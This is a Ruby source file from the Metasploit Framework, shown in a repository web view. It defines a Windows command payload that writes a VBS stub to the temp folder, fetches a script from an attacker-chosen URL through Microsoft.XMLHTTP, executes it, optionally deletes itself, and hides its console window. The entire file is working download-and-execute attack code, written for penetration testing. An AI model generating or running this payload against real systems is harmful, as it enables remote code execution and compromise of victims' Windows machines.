metasploit-framework/modules/payloads/singles/cmd/windows/download_eval_vbs.rb

71 lines
2.4 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
2016-03-08 13:02:44 +00:00
module MetasploitModule
2015-03-09 20:44:14 +00:00
CachedSize = :dynamic
2013-08-30 21:28:54 +00:00
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Executable Download and Evaluate VBS',
'Description' => 'Downloads a file from an HTTP(S) URL and executes it as a vbs script.
Use it to stage a vbs encoded payload from a short command line. ',
'Author' => 'scriptjunkie',
'License' => BSD_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::None,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
2014-02-08 12:24:49 +00:00
'RequiredCmd' => 'wscript',
2013-08-30 21:28:54 +00:00
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
2013-08-30 21:28:54 +00:00
register_options(
[
OptString.new('URL', [ true, "The pre-encoded URL to the script" ]),
OptBool.new('INCLUDECMD', [ true, "Include the cmd /q /c", false ]),
OptBool.new('INCLUDEWSCRIPT', [ true, "Include the wscript command", false ]),
OptBool.new('DELETE', [ true, "Delete created .vbs after download", false ])
], self.class)
end
2013-08-30 21:28:54 +00:00
def generate
return super + command_string
end
2013-08-30 21:28:54 +00:00
def command_string
# Keep variable names short.
vbsname = Rex::Text.rand_text_alpha(1+rand(2))
xmlhttpvar = Rex::Text.rand_text_alpha(1+rand(2))
2013-08-30 21:28:54 +00:00
command = ''
command << "cmd.exe /q /c " if datastore['INCLUDECMD']
command << "cd %tmp%&echo Set #{xmlhttpvar}=CreateObject(\"Microsoft.XMLHTTP\"):"+
"#{xmlhttpvar}.Open \"GET\",\"#{datastore['URL']}\",False:"+
"#{xmlhttpvar}.Send:"+
"Execute #{xmlhttpvar}.responseText"
command << ":CreateObject(\"Scripting.FileSystemObject\").DeleteFile \"#{vbsname}.vbs\"" if datastore['DELETE']
2013-08-30 21:28:54 +00:00
# "start #{vbsname}.vbs" instead of just "#{vbsname}.vbs" so that the console window
# disappears quickly before the wscript libraries load and the file downloads
command << " >#{vbsname}.vbs"+
"&start "
command << "wscript " if datastore['INCLUDEWSCRIPT']
command << "#{vbsname}.vbs"
end
end